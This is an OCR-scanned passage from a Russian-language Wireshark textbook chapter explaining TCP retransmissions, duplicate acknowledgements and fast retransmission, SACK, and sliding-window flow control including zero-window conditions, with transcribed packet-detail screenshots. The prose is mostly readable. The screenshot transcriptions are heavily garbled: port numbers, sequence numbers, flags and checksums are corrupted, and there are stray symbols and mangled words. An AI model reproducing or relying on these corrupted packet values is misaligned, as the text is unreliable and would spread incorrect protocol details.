"' Trilns•ission Coritl"Ol Protocol" 
Source Port: 1048 

Oestinotion Port: 1043 

[Streo11 index: 0] 
[ТСР Segnent Len: 648] 
Sequence nwаЬег: 1 (гelative sequence nurabeг) 
[Next sequence nu"Ьer : 649 (relotive sequence nLDЬer)] 
Acknowledpent nut1Ьer: 1 (relotive ock nU!Юer) 
Нeoder Length: 20 bytes 
Flogs: 0х618 (РSН, АСК) 
Window size volue: 8760 
[Calculated window size: 8760] 

[Window size scoling factor: -1 (unknown)] 
> Checksu11: 0x9bSf [validotion disaЬled] 

Urgent pointer: В 
v [SEQ/ACK analysis] О 

[8ytes in flight: 648] 
[ТСР Anolysis flogs] 
> [Expert lnfo (№te/Sequence): This friJJlle is а (suspected) retransaission] @ 

[The RTO for this segnent wos: 0.2В6000000 seconds] @ 
[ RIO bas~ on delt1 fГ(!!! frm:: 1) () 

Retronsaitted ТСР segaent dota (648 bytes) 

о х 

f!ю., Z • r...., IJ.'1Jf()(J(I s.....- JDJ.XJ./ "°"""""" JOJ.7J.7 • - TCJ {РSН, АСК] S#q-1 Ad.J -&>JrD....-{EТНER.'iEТ ЛV.NE Q,zaSEQtJENCE !А 

L. ____ _ 
Рис. 11.4. Отдельный повторно передаваемый пакет 

Проводя анализ пакета в панели Packet Details, обратите внимание на то, 
что в повторно передаваемый пакет включены дополнительные сведения 

под заголовком SEQ/ACK analysis О. Эти полезные сведения предоставляются 



приложением Wiresl1ark и не входят в сам пакет. Они, в частности, сообща

ют, что пакет действительно передается повторно 8, а время ожидания до по
вторной передачи (RTO) составляет 0,206 с О и отсчитывается как прирост 
времени от момента передачи пакета 1 О. 

Обратите также внимание, что данный пакет такой же, как и первоначаль

ный пакет (вплоть до контрольной суммы). Можете убедиться в этом сами, 

сравнив повторно переданный пакет с первоначальным в панели Packet Bytes. 

К аналогичным результатам приводит анализ остальных пакетов, которые 

могут отличаться контрольными суммами и временем ожидания до повтор

ной передачи. Чтобы увидеть промежутки времени, протекающего между па

кетами, загляните в столбец Time в панели Packet List (рис. 11.5) . Здесь вы об

наружите экспоненциальный рост времени ожидания до повторной передачи 

по мере удвоения его величины после каждой повторной передачи. 

No. тm. 

l 
10.000000 
2 0. 206000 

з 0.600000 

4 1.200000 
5 2.400000 

б 4.805000 

Рис. 11 .5 . В столбце Time из панели Packet List 

показан экспоненциальный рост времени ожи

дания до повторной передачи 

Возможности протокола ТСР для повторной передачи пакетов использу

ются передающим устройством для выявления и устранения потерь пакетов. 

А далее мы рассмотрим дублирующие подтверждения 110 протоколу ТСР. Такой 

возможностью на этот раз пользуется получатель данных для выявления и 

устранения потерь пакетов. 

Дублирующие подтверждения и быстрые повторные 

передачи по протоколу ТСР 

Фай.л перехвата 

tcp_dupack.pcapnq 

Дублирующее подтверждение передается получателем в 

пакете АСК по протоколу ТСР в том случае, если получа

тель принимает пакеты не по порядку. В ТСР-заголовке 

специально выделяются поля для указания номера подтверждения и порядко

вого номера пакета, чтобы данные можно было надежно принять и снова со

брать в том же самом порядке, в каком они были переданы. 

le!Qi!.i!pMlllll Пакет ТСР было бы правильнее называть сегментом ТСР, но большин
ство специалистов в данной области привыкли называть его пакетом. 



После установки нового соединения по протоколу ТСР, происходит переда

ча первоначального порядкового номера (ISN, или Initial Sequence Number) -
одного из самых важных фрагментов информации, обмениваемой в процессе 

подтверждения связи. После установки первоначального порядкового номе

ра на обеих сторонах соединения этот номер постепенно увеличивается в ка

ждом передаваемом далее пакете на размер полезной информации, переноси

мой в данном пакете. 

Рассмотрим хост отправителя, который имеет первоначальный порядко

вый номер 5000 и посылает пакет размером 500 байт хосту получателю. Как 

только этот пакет будет получен, хост получателя ответит пакетом АСК по про

токолу ТСР с номером подтверждения 5500 на основании следующей формулы: 

Исходный порядковый номер + Количество байтов полученных данных = 

= Выходной номер подтверждения 

В результате расчета по этой формуле передающему хосту возвращается 

номер подтверждения, равный следующему порядковому номеру, который 

предполагает получить хост получателя. Характерный тому пример приведен 

на рис. 11.6. 

Порядковый номер: SOOO, размер данных: SOO 

< 
Номер подтверждения: SSOO ..---------

rПI Порядковый номер: SSOO, размер данных: SOO 

~ <"----Но_м_е_р-по-д-тв-е-ржд-е-ни_я_: 60-00-------. 
о 

Хост оmравителя Порядковый номер: 6000, размер данных: 500 Хост получателя 

< 
Номер подтверждения: 6500 ......---------

Рис. 11.6. Последовательность обмена номерами подтверждения по протоколу ТСР 

Выявление факта потери пакетов получателем данных становится во:Jмож

ным благодаря порядковым номерам. Отслеживая принимаемые порядковые 

номера пакетов, получатель может выяснить, когда он получил их не по порядку. 

Когда получатель принимает пакет с непредвиденным порядковым номе

ром, он предполагает, что пакет был потерян во время передачи. Чтобы пра

вильно собрать данные снова, получатель должен иметь в своем распоряжении 
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отсуrствующий пакет, и поэтому он снова посылает подтверждающий пакет 

АСК, содержащий предполагаемый порядковый номер потерянного пакета, 

чтобы добиться повторной передачи этого пакета у отправителя. 

Получив три дублирующих подтверждения АСК от принимающего хоста 

(получателя), передающий хост (отправитель) посчитает, что пакет был дей

ствительно потерян при передаче, и сразу же начнет его быструю повторную пе

редачу. Как только быстрая повторная передача потерянного пакета будет на

чата, все остальные передаваемые пакеты будут поставлены в очередь до тех 

пор, пока быстрая повторная передача не завершится. Этот процесс наглядно 

показан на рис. 11.7. 

1 ~------П_о~ря_д_ко_в_ыи_·н_о_м~ер_:_5ооо_,~р-аз_м~ер_д_а_нн_ы_х_:5_ОО ____ __,~ 
~ Номер подтверждения: 5500 
~------'------" 

Порядковый номер: 6000, размер данных : 500 

Дублирующее подтверждение (1) с порядковым номером 5500 

Дублирующее подтверждение (2) с порядковым номером 5500 

Хост отправителя ....__---------------------~ Хостполучателя 
Дублирующее подтверждение (З) с порядковым номером 5500 

Быстрая повторная передача с порядковым номером 5500, размер данных: 500 

~ Номер подтверждения: 6000 
~-----'------" 

Рис. 11.7. Дублирующее подтверждение от получателя приводит 
к быстрой повторной передаче потерянного пакета 

Пример дублирующих подтверждений и быстрых повторных передач мож

но найти в файле перехвата tcp _ dupack. pcapng. Первый пакет из этого файла 
перехвата приведен на рис. 11.8. 

Это, по существу, пакет АСК, передаваемый по протоколу ТСР хостом, 

находящимся по адресу 172 . 31.136.85, хосту, расположенному по адресу 
195. 81. 202. 68 О. Он содержит подтверждение о получении данных, отправ
ленных в предыдущем пакете, не включенном в рассматриваемый здесь файл 

перехвата. 



11. w"..n.rt . Pockot 1 . tcp_duf"'ck 

Fr~l: 78 byt~s on --;;t;:e (624 bits), 78 bytes captured (62-4 Ыts) ------- -

) Ethernet II, Sгс: ~lettP_&4:c1:c6 (М:16:ЗS:а4:с1:с6), Dst: All-НSRP-routers_el {08:00:&с:07:ас:81) 
Internet Protocol Version 4, Src: 172.31.136.SS, Dst: 195 . 81.202.68 О 

о 

.., Transaission Control Protocol" Src Рогt: 38766 (38768), Dst Port: 86 (88), Seq: 764338729, Ack: 1310973186, Len: 0 
Souгce Port: 38769 
~stin11tion Port: 80 

(Stгe" index: 0] 
[ТСР S•p<nt l•n: 8) 
~quence nU8ber: 784338729 
Acknc.ledgnie:nt nuf'IЬer: 1310973186 f} 
Не:аdег length: 44 Ьytes 

> Fl•gs: 8'с018 (АСК) 
Window dze value: 382 
[Calculated window size: 382] 
[Window size scailing factor: -1 (unknown)] 
Checksu.: 0xdlbe [v11lid11tion dis11Ыed] 
Urgent pointeг: 0 

х 

Options: (24 bytes), No-Oper-ation (НОР), No-Operation (НОР), Tillest11111p:s, No-Opeгation {fIOP), No-Operaition (NOP), SACK 

_,.,," 1 r.,.:AйDW ·~ J71JLUl-~ ·~. l95.ll..lOL61 1Ьt:оа1': ТСР ·L..IOЗ67дAd•Ul"1lJ186 tlit.a.J81U,,..I) TSv-1/..},,}.}l(?JJJ rs.:r-mnя5l.E•ШCJ7"SISR&Wtw. 

~ " 
Рис. 11.8. Пакет АСК, где указан следующий ожидаемый порядковый номер 

l1!QIИ!p1'Шll По умолчанию в Wireshark применяются относител.ъные по-рядковые но

мера пакетов для упрощения их анализа, но в примерах и копиях э-кра

нов, приведенных в ряде пос.ледующих ра,зделов, этот режим отображе

ния не исполъзуется. Чтобы отменитъ этот режим, выберите сначала 

команду EditqPreferences из главного меню, затем ра,здел Protocols в от

крывшемсJI. окне, далее ра,здел ТСР и, наконец, сбросъте флажок Relative 

sequence numbers (Относителъные по-рядковые номера). 

В данном пакете указан номер подтверждения 1310973186 О. Он должен со
впадать с порядковым номером в следующем полученном пакете, как показа

но на рис. 11.9. 

К сожалению для нас и получателя пакетов, порядковый номер следующе

го пакета равен 1310984130 О и не соответствует ожидаемому. Этот получен

ный не по порядку пакет указывает на то, что ожидаемый пакет 1310973186 
был каким-то образом потерян при передаче. Хост получателя обратит внима

ние на то, что данный пакет получен не по порядку, и отправит дублирующее 

подтверждение в третьем пакете из анализируемого файла перехвата, как по

казано на рис. 11.1 О. 
Чтобы выяснить, содержит ли данный пакет дублирующее подтверждение, 

проанализируйте одно из двух. 

• Столбец Info в панели Packet Details. Текст из этого пакета должен быть 

выделен красным 1~ветом на черном фоне. 

• Заголовок SEQ/ACK в панели Packet Details (см. рис. 11 .1 О). Если развер

нуть этот заголовок, то в нем можно обнаружить, что данный пакет ука

зан как пакет с первым дублирующим подтверждением О. 
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• Wirбhark · Pack~ 2 · tcp_dupa.ck о х 

Fra.e 2: 1434 bytes on wire (11472 Ыts), 1434 bytes captur~ {U472 Ыts) 
') Ethernet п. Sn::: Ciscoinc_72:1S:ee (ОО:8Ь:Ье:72.:15:88), Dst: ~lettP_a4:cl:c6 (08:16:3S:A4:c1:c6) 

> Internet Protocol Version 4, Src: 195.81.2.02.68, Ost: 172.31.136.85 

v Tгans•ission Control Protocol.1 Sгс Port: 80 (80), Ost Рогt: 38768 (38768), ~q: 1319984136, Ack: 764338729, Len: 1368 

Souгce Рогt: 88 
Destination Рогt: 38768 
[Stгeu index: 8] 
[ТСР Segntent Lcn: 1368] 
Sequence number: 1310984130 О 
[Next sequence nu.Ьt!r: 1319985498) 

Acknowledg:aent nu.Ьer: 794338729 

Нeader Length: 32 bytes 
> Flags: 9х010 (АСК} 

Window size value: 1ев 
[Calculated window size: 108] 
[Window size scaling factor: ·1 (unknown)] 

> ChecksU8: 0xЬdf7 [validation disaЫed) 
Urgent pointeг: 8 

> Options: (12 bytcs}, No·Operation (НОР), No·Operation (NOP).1 T!Aest11sps 
) [SEQ/ACK an11lysis] 

АЬ. r }. • Г11Nill.fJf»J!JID · ~IИ.JllJJJ1.68·~ JЛJ/.JJl.IS ·~ n::Р•/.м.. lttfй80- JVl!ilf{ACJ(/S.,.l~IJIJAd.-JOUJVl!Jlth.-JotJletJ"LJ66 rs..-.uшs4 ТS«Y•ZZ. 

~ 

Рис. 1 1. 9. Порядковый номер данного пакета не соответствует ожидаемому 

• Wirts~шk · P"ckg 3 · tcp_dupack о х 

Frнe 3: 78 bytes on wire (624 Ьii;}, 78 bytes c•ptured (624 Ыts) -1 
Ethernet- II, Src: HcwlettP_a4:cl:c6 (90:16:35:a~:cl:c6), Dst: All·ttSRP-r-out~r5_81 (8е:ее:ес:67:ас:е1) 

> Inteгnet Protocol Version 4, Src: 172.31.136.85, Ost: 195.81.282.68 

v Transeission Control Protocol.J Src Port: 38760 (38168}, Ost Port: 88 (89), Seq: 784338729, Ack; 1319973186, ~l-•_~"-'~& __ ,._,

1 Source Port: 38768 

Destination Port: 86 
[Strea11 index: 9) 
(ТСР Sepent Len: 8] i 
Sequence nu.ber: 7&4338729 

1 
Acknowlcdpent nuмЬer: 1318973186 

1 

Неаdег Length: 44 bytes 
> Flags: еке1е (АСК) 

Window size value: 382 
[Calcul11ted window ~ize: 382] 

[Window siz.e scaling factor: ·1 (unknown)) 
> Checksoo: 8хсс66 [valid11tion dis"Ыed] 

Urgent pointer: 8 1 

> Options: (24 bytes), No-O~r11tion (NOP)s No-Operation (r«>P).1 Ti11esta11ps, No-Operation (NOP), №-Operation ( NOP), SACK ~ 
v [SEQ/ACK anolysis] 

> [ТСР Am1lysis Flags] 
[Duplicat. АСК #: 1] 

v fDuplic•t( to the АСК in frИ!· 1) О 
> [Expert Info (Note/Sequenc~): Dupltcate АСК (rt)] 

Рис. 11. 1 О. Пакет с первым дублирующим подтверждением 

Описываемый здесь процесс продолжается в нескольких последующих па

кетах, как показано на рис. 11.11. 

.". - '''"' """"'""' F'l'otlкd Lenglh tnfa 

1 е.ееееев 172.31.136.85. 19S.81.:Ю2.68 ТСР 78 38768 .,. 80 [A<KJ Seq "7&4338719 Ack• Hle973186 Win• 382 Len•8 TSval• .2-224717.3 TSe:cr•1'323S4 -

2 0.Nel9«t l\IJS .81.202.'8 1'2.31.13i.85 ТСР 1434 80 " 18761 {ACIC) S~·l31e984.13e Ack•784338729 Wi.n•l•& Len•l361 ТS.v11• 13323S4 TS.c1'"• 22.2471.. 

19S . &1.2e2.68 172.31.136.85 

195 .11 . 212.68 172 . 31.136.85 ТСР 14)4 S8 " )8768 АСК] Щ•13119&6866 Ack"714338729 Win-188 Ltn•H68 TSv1l•B323S4 TSec:,.,..222.411-

Рис. 11. 1 1. Дополнительные дублирующие подтверждения формируются из-за 
того, что отправляемые пакеты принимаются не по порядку 



Четвертый пакет из рассматриваемого здесь файла перехвата содержит 

очередной фрагмент данных, посылаемых передающим хостом с неверным 

порядковым номером О. В итоге принимающий хает посылает второе ду

блирующее подтверждение 8. Далее получатель принимает еще один пакет 
с неверным порядковым номером О. И это приводит к отправке третьего и 

заключительного дублирующего подтверждения е. 

Как только передающий хает получит пакет с третьим дублирующим под

тверждением от принимающего хоста, он будет вынужден остановить весь 

процесс передачи пакетов и снова послать потерянный пакет. Пример бы

строй повторной передачи потерянного пакета приведен на рис. 11.12. 

1

• W111~shark · Packd 8 · tcp_dupack 

> Fr~iae 8:'iA3:4 bytes-;;-wЬ.e (11472 Ыts), 1434 byt~~aptured (11472 Ыts) 
> fthernet ll" Src: C1нolnc_72:1S:QI (е&:еЬ:Ье:72:15:8е)" Dst: ttewlettP_a4:cl:c6 (00:16~3S:a4:cl:c6) 
> Internet Prot.ocol Version 4 1 Src: 195.81.292.68, Ost: 172.31.136.85 

о 

" Transaission Control Protocol, Src Port: W (ае), Ost Port: 3876& (3876&), ~q_: 131'9731ВЕ, Ack: 7М338729, len: 1368 
Source Port: 80 

Oestination Port: 38760 
[Streoa index: &] 
[ТСР Seg"nt len: 1368] 
~quence nu.Ьer: 1318973186 

[Нехt sequence nu•beг: 13199745S4] 
AcknOtfledgмnt nu•Ьer: 784338729 
Неаdег Length: 32 bytes 
Flags: ехе1е (АСК) 

Window size value: 108 
[Calculated window size: 188) 
[Window size sc11ling factor: -1 (unknown)] 

') Checks1.1r.: 0х9364 [validation disaЬled] 
Urgent pointer: е 
Options: {12 bytes), No~Opeгation (ООР), No-~rittion (№Р), Til8esta•ps 

v tSEQ/ACK analysisJ 
[Bytes in flight: 15948] 

v (ТСР Anolysis Fugs) 
[Expert Info (Note/Sequence): Тhis fraмe is • (suspec1:ed) fest '°t••nsllission) О 

r [Expert Info (Note/Sequence}: This fratte 1s а (suspect~) retransмission] 

х 

Nrм 1 • Г1МВl.DIXJOV • S:::iclrallt 19S.81..lOZ.'8 a.tNeioni J7lJJ . JЗi.ll!i ~ то · t.&.JOlf}ВD- J1"$1)[A.at/S.:,.JJJD9l1J6'.At*-1DIJJll71'!Uftr·JM,.,_1" rs,.,-.JJJZJS4 ТS.U..l.ll 

1 °""" 
Рис. 11. 12. Три дублирующих подтверждения приводят к показанной здесь быстрой 
повторной передаче потерянного пакета 

Повторно передаваемый пакет может быть снова обнаружен в столбце 

Info на панели Packet List. Как и в предыдущих примерах, текст из этого пакета 

явно выделен красным цветом на черном фоне. В разделе SEQ/ACK analysis 

этого пакета (см. рис. 11.12) сообщается, что он подозревается в быстрой по

вторной передаче О. (И в этом случае сведения, которые указывают на то, что 

данный пакет относится к категории быстрой повторной передачи, не входят 

в сам пакет, а предоставляются приложением Wireshark для упрощения ана

лиза.) И последний пакет в рассматриваемом здесь перехваченном трафике 

подтверждает получение быстрой повторной передачи потерянного пакета. 
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le!Q'ИIPIШlll На обмен потоком даннъtх по протоколу ТСР, где может иметъ ме

сто патеря пакетов, может оказъtватъ влияние режим SACK (Sekctive 
Ackпowkdg;meпt - въtборачное подтверждение). В рассмотренном въtше 

примере перехваченного трафика бъt.ла согласована активизация этого 

режима в процессе трехэтапной установки связи по протоколу ТСР. Та

ким образом, всякий раз, когда пакет теряется и в ответ присъl.llается 

дублирующее подтверждение, повторно должнъt передаватъся толъко па

теряннъtе пакетъt, даже если после потерянного пакета были успешно 

полученъt iJpyгue пакеты. Если бъt режим SACK не бъl.ll активизирован, 
пpuUl.llocъ бъt повторно передаватъ и каждъtй пакет, появляющийся па

сле потерянного пакета. Въtборачное подтверждение намного повъtша

ет эффективностъ восстановления потеря.ннъtх пакетов. Оно нередко 

применяется, посколъку поддерживается в болъшинстве современных 

реализаций стека протоколов ТСР //Р. 

Управление потоками донных в протоколе ТСР 
Повторные передачи и дублирующие подтверждения относятся к реагиру

ющим функциям протокола ТСР, предназначенным для восстановления поте

рянных пакетов. Протокол ТСР вряд ли бы смог справиться со своими задача

ми, если бы в него не бьmа включена некоторая форма упреждения, препят

ствующая потере пакетов. 

В протоколе ТСР реализован механизм сколъзящего окна ( slidiпg-window mech
aпisт) для обнаружения момента, когда может возникнуть потеря пакетов и 

изменения скорости передачи данных с целью предотвратить такую потерю. 

В механизме скользящего окна используется окно приема на стороне получате

ля пакетов для управления потоком данных. 

Принимающий хост (получатель данных) указывает размер окна приема в 

байтах, сохраняет его в ТСР-заголовке и сообщает передающему хосту ( отра
вителю данных), сколько данных он готов сохранить в памя.ти своего ТСР-бу

фера. Именно в этой памяти данные временно хранятся до тех пор, пока они 

не будуг переданы вверх по стеку протоколов на уровень приложений для 

последующей обработки. В итоге передающий хост может одновременно по

слать только то количество данных, которое указано в поле Window size (Раз
мер окна) заголовка полученного в ответ пакета ТСР. Чтобы передающий хост 

мог послать больше данных, принимающий хост должен отправить ему под

тверждение о получении предыдущей порции данных. Он должен также очи

стить память своего ТСР-буфера, обработав данные, занимающие эту память. 

Принцип действия окна приема наглядно показан на рис. 11.13. 



Кnиент 
~ Доступная память 

вб~!ере 11 
Размер окна приема 1 

> Сервер 2500Байт 2500Байт 11 5000 Байт 

2000 Байт > 500 Байт 11 5000 Байт 

Подтверждение 5000байт 11 5000 Байт 

3 ООО Байт > 2000 Байт 11 5 ООО Байт 

1 ООО Байт > 1 ООО Байт 11 5 ООО Байт 

Подтверждение 5000 Байт 11 5 ООО Байт 

Рис. 11.13. Окно приема ограничивает объем данных, которые готов 
принять получатель 

Как показано на рис. 11.13, клиент посылает данные серверу, который пред
варительно сообщил ему размер окна приема равный 5000 байт. Но клиент 
посылает сначала 2500 байт, сокращая тем самым размер памяти в буфера на 
сервере до 2500 байт, а затем еще 2000 байт, сокращая размер пространства бу
фера до 500 байт. На это сервер посылает подтверждение о приеме этих дан
ных, и после их обработки буфер очищается и снова готов к приему очередной 

порции данных. Весь процесс повторяется, но на этот раз клиент посылает 

сначала 3000 байт, а затем еще 1000 байт, сокращая размер памяти в буфере на 
сервере до 1000 байт. На это сервер снова посылает подтверждение о приеме 
данных и обрабатывает содержимое своего буфера. 

Изменение размера окна приема 

Описываемый здесь процесс, в ходе которого корректируется размер окна 

приема, довольно прост, хотя и не всегда идеален. Всякий раз, когда данные 

принимаются стеком ТСР, формируется подтверждение и посылается ответ. 

Но данные, размещаемые в буфере получателя, не всегда обрабатываются не

медленно. 

Когда сервер занят обработкой пакетов, полученных от многих клиентов, 

он вполне может повременить с очисткой своего буфера, а следовательно, и 

с освобождением места для новых данных. Без надлежащих средств управле

ния потоком данных переполнение буфера может привести к потере пакетов 



и повреждению данных. Правда, когда сервер слишком занят, чтобы обра

батывать данные в объеме, указанном в окне приема, он может откорректи

ровать его размер. С этой целью сервер может уменьшить величину размера 

окна приема в ТСР-заголовке пакета АСК, посылаемого обратно тем клиентам, 

которые передают ему свои данные. Характерный тому пример приведен на 

рис. 11.14. 

Q [;]1 Доступная память 
вб~!е~е 11 Размер окна приема 1 

Кnиект > Сервер 2000 Байт 3 ООО Байт 11 5 ООО Байт 

2000 Байт > 1 ООО Байт 11 5 ООО Байт 

Подтверждение - обновить окно: 1 ООО байт 1 ООО Байт 11 1 ООО Байт 

800 Байт > 200 Байт 11 1 ООО Байт 

150 Байт > 50Байт 11 1 ООО Байт 

< АСК 1 ООО Байт 11 1 ООО Байт 

Рис. 1 1. 14. Размер окна приема может быть изменен, когда сервер оказывается 
занят 

Как показано на рис. 11.14, сервер начинает обмен данными с анонсиро
ванного размера окна приема в 5000 байт. На это клиент посылает сначала 
2000 байт, затем еще 2000 байт, оставляя доступной память в буфере размером 
всего 1000 байт. Но это пространство заполнится очень быстро, и если дан
ные будут и дальше поступать с той же скоростью, то пакеты окажутся вскоре 

потерянными. Во избежание подобного осложнения сервер посылает клиен

ту подтверждение с уменьшенным до 1 ООО байт размером окна приема. На это 
клиент отправит меньше данных, и теперь скорость, с которой сервер спосо

бен обрабатывать полученные данные, позволит установить постоянный по

ток данных. 

Процесс изменения размеров окна приема действует как в сторону умень

шения, так и увеличения. Так, если сервер способен обработать данные с 

большей скоростью, он может послать подтверждающий пакет АСК с большим 

размером окна приема 



Прекращение потока данных с помощью 

установки нулевого окна приема 

Вследствие нехватки памяти, вычислительных ресурсов для обработки 

данных или иных затруднений сервер может оказаться временно не в состо

янии обрабатывать данные, поступающие от клиента. Такая пауза может при

вести к пропуску пакетов и нарушению процесса обмена данными. Впрочем, 

окно приема позволяет свести к минимуму отрицательные последствия такой 

ситуации. 

Когда возникает подобная ситуация, сервер может послать пакет, содержа

щий нулевой размер окна приема. Получив такой пакет, клиент прервет даль

нейшую передачу данных, но сохранит установленное соединение с сервером, 

посылая время от времени пакеты поддержания активным соединения. Такие па

кеты клиент может посылать через регулярные промежутки времени, чтобы 

проверить состояние окна приема на сервере. И как только сервер снова нач

нет обработку данных, он отправит клиенту в ответ пакет с ненулевым разме

ром окна приема, возобновив тем самым обмен данными с клиентом. Пример 

уведомления о нулевом размере окна приема приведен на рис. 11.15. 

<Подтверждение - обновить окно: О байт 

Сохранить соединение аmвным > 
<:}одтвержденме - обновить окно: 1000 байт 1 

150Байт > 

3000Байт 

1 ООО Байт 

О Байт 

О Байт 

1 ООО Байт 

850 Байт 

11 SОООБайт 

11 SОООБайт 

11 О Байт 

11 О Байт 

11 1 ООО Байт 

11 1 ООО Байт 

Рис. 1 1. 15. Передача донных прекращается, когда размер окно приема становится 
равным О байт 

Как показано на рис. 11.15, сервер начинает принимать данные в окне раз
мером 5000 байт. Приняв в общем 4000 байт данных от клиента, сервер начи
нает испытывать чрезмерную нагрузку на свой процессор и поэтому больше 

не в состоянии обрабатывать дальше любые данные, поступающие от клиента. 
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И тогда сервер посылает пакет с нулевым значением в поле Window size его заго

ловка. Получив такой пакет, клиент прервет передачу данных и будет периоди

чески отправлять пакет поддержания активным соединения. Получив, в свою 

очередь, такой пакет, сервер ответит пакетом, уведомляющим клиента, что он 

может теперь принимать данные в окне размером 1000 байт. В таком случае 

клиент возобновит передачу данных, но с меньшей скоростью, чем прежде. 

Применение механизма скользящего окна на практике 

Файлы перехвата 

tcp_zerowindowrecovery.pcapn9 
и tcp _ zerowindowdead. pcapn9 

Итак, изложив теорию, положенную в ос-

нову механизма скользящего окна в прото

коле ТСР, рассмотрим его действие на 

практике, обратившись к примеру, взятому 

и:J файла перехвата tcp _ zerowindowrecovery. pcapng. Сетевой трафик, зафик

сированный в этом файле, начинается с отправки нескольких подтверждаю

щих пакетов АСК по протоколу ТСР из хоста, находящегося по адресу 

192 .168. О. 20, хосту, расположенному по адресу 192 .168. О. 30. Наибольший 

интерес для нас представляет значение, устанавливаемое в поле Window size 

заголовка этих пакетов. Его можно посмотреть как в столбце Info на панели 

Packet List, так и в :~аголовке ТСР на панели Packet Details. Но в любом случае мож-

но сразу заметить, что значение в данном поле постепенно уменьшается в пер

вых трех пакетах, как показано на рис. 11.16. 

No. Tme О So\.<ce 

1 &.080000 192.168.0.20 
2 11.1190237 19l.168.0.2& 

з 0.1100193 192.168.0.20 

DesЬnotion 

192.168.0.30 
192 .168 .0. 30 
192.1Бв.е.зе 

Protocd 

ТСР 

ТСР 

ТСР 

tenvth Info 

60 2235 • 1п0 [АСК] Scq•14227'JЗ785 Ack•271e996659 Win-8768 l•n-В 

60 2235 • 1720 [АСК] Seq•l4227937/!S Ack•2710999S79 W1n•S840 l•n-0 

60 2235 • 1720 ГАСКl Scq•14217!B785 Act•27111192499 Win•2920 len-0 

Рис. 11. 16. Размер окна приема в этих пакетах постепенно уменьшается 

Размер окна приема постепенно уменьшается от 8760 байт в первом пакете 

до 5840 байт во втором пакете и далее до 2920 байт в третьем пакете О. Такое 

уменьшение размера окна приема служит явным признаком увеличения за

держки в сети. Обратите внимание на столбец Time, где ясно видно, насколько 

быстро это происходит 8. Когда размер окна приема уменьшается настолько 
быстро, то его величина обычно падает до нуля, что и происходит в четвер

том пакете, как показано на рис. 11.17. 
Кроме того, четвертый пакет посылается из хоста, находящегося по адресу 

192 .168. О. 20, хосту, расположенному по адресу 192 .168. О. 30, хотя он и пред

назначен лишь для уве;(омлсния о том, что хает получателя больше нс в со

стоянии принимать данные. Нулевое значение размера окна приема видно из 

ТСР-заголовка О. О том, что это пакет с нулевым размером окна приема, сооб

щается в столбце Info на панели Packet List, а также в разделе SEQ/ACK analysis 

его ТСР-:Jаголовка 8. 



1
• ~esh~ · P11cket 4 · tcp_zerOWJn;<М:rк:-щ -· О Х 

> Fr- 4: 6е Ьytes on wire (48& Ьits), 6е bytes c1ptuг;;i{4UЬit_s_)__ ----------

Ethernet II, Src: V-are_c8:00:08 {00:511:Sб:с8:98:08), Dst: v ... аге_с0:09:81 (88:5t:Sб:c9:00:81) 1 
) lnternet Protocol V.e"sion .t., Src: 192.168.&.18, Ost: 192.168.е.зе 1 
v Tra....,issioo Control !'rotocol, S«: Рогt' 2235 {2235), Dst Po~t: 1720 (11]0), Soqo 1•22793185, Ack: 2711.005419, tan: 0 ~ 

Source Рогt: 2235 
Oestin•tion Рогt: 1728 · 

[Streara index: ej 
(ТСР Sepent Len: 8] 
Sequence nU8Ьer : 1422793785 
Acknowled-nt nU.Ь.r: 271188S419 
Нeader length: 2е bytes 

> Flogs: 9х818 (АСК) 
Window size v•lue: 0 
[Calculated window siz.e: 8] О 
[Window stze scoling fector: -1 (unk:nown)] 

) Check~u•: 9х6355 (valid;st.ion disaЫ~] 
Uгgent pointer; 6 

" LSEQ/ACK anelysis] 
v {ТСР An•ly•i> fl•&>) 

v [Expert Info (1""rn/S4'quence); ТСР Zero Window ••pent] f) 
(ТСР Zего Window segoient) 
[Severity 1eve1: Warn] 
[бroup: Sequ"1ce] 

No.·J · rnw#.J!llJJQJ·S.К.:JJJ.JaJUl/~~111 . .116.1.JfJ ·~rCP lrrgtll: i# •l•{ТCP~w)lJJS-l.fJO{AOf/5A'/•l~JJl1,Aoi-•Ull~lt~l~ 

1 ао.. ~ 

Рис. 11. 17. Пакет с нулевым размером окна приема явно свидетельствует, что хост 
больше не в состоянии принимать данные 

Как только пакет с нулевым размером окна приема будет отправлен, устрой

ство, находящееся по адресу 192 .168. О. 30, перестанет посылать данные до 

тех пор, пока оно не получит пакет с обновленным размером окна приема от 

устройства, расположенного по адресу 192 .168. О. 20 и уведомляющего, что 

размер окна приема увеличился. К счастью, причина, по которой возникло ус

ловие нулевою размера окна приема, носила лишь временный характер. По

этому в следующем пакете был послан обновленный размер окна приема, как 

показано на рис. 11.18. 
В данном случае размер окна приема заметно увеличивается до 64240 

байт О. И в этом случае анализ в Wiresl1ark показывает, что этот пакет содер

жит анонс обновления размера окна приема, как следует из раздела SEQ/ACK 

analysis его заголовка. 
Как только будет получен пакет с обновленным размером окна приема, 

хост, находящийся по адресу 192 .168. О. 30, может снова начать передачу дан

ных, что и происходит в пакетах 6 и 7. Весь промежуток времени, в течение 

которого передача данных была приостановлена, проходит очень быстро. Но 

если бы эта задержка длилась дольше, она привела бы к перебоям в работе 

сети, а следовательно, к замедлению передачи данных или неудачному исходу 

данной операции. 

В качестве еще одного, последнего примера употребления механизма 

скользящего окна рассмотрим файл перехвата tcp _ zerowindowdead. pcapng. 
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Первым в сетевом трафике, перехваченном в данном файле, оказывается па

кет, передаваемый обычным образом по протоколу НТТР из хоста, находяще

гося но адресу 172. 31.136.85, хосту, расположенному по адресу 195. 81. 202. 68 

(рис.11.19) . 

• Wireshark · Pac:kd S tcp_z~rowindowrкOWf)' 

Fra• S: 68 byies 'Оп~ (488 b!t;), 68 bytes ceptured (4Н b""i'ts) 
fth~net п, Sгс: v.....rе_се:ее:вв (86:58:S6:ce:ee:es), Dst: V.W•re_ce:ee:el (ee:se:S6:ce:ee:e1) 

> Internet Protoc.Ql Y«rsion 4, Src: 192 .168.9.28, Ost: 192.168.8.36 

<ьnt 

Souгce Рогt: 2235 

~stination Port: 1729 
[Streu index: 9] 
[ТСР SegRnt len: 8] 
Sequeпce n~r: 1422793785 
Acknowled~nt nu~r: 2711805419 
~ader l ength: 28 Ьytes 
Fl•g>' 8х918 (АСК) 
Window size value: 64240 О 
(C11lculated window sl~e: 64248] 
[Window size scaling foctor: · 1 (unknown)] 

> Checksu.: 8х6864 [vi1lid1tion disaЫ~] 
Uгgent pointer: 8 

~,"АС aNi"/'>i~] 
.Р A-.11.-s~ Р 1 l v [Expert Info (C~ot/Sequence): 

(ТСР window updlte] 
[Seveгity level: Ch11t] 
[6roup: Sequence] 

-----

ТСР wiлdow upd•t•] 

о х 

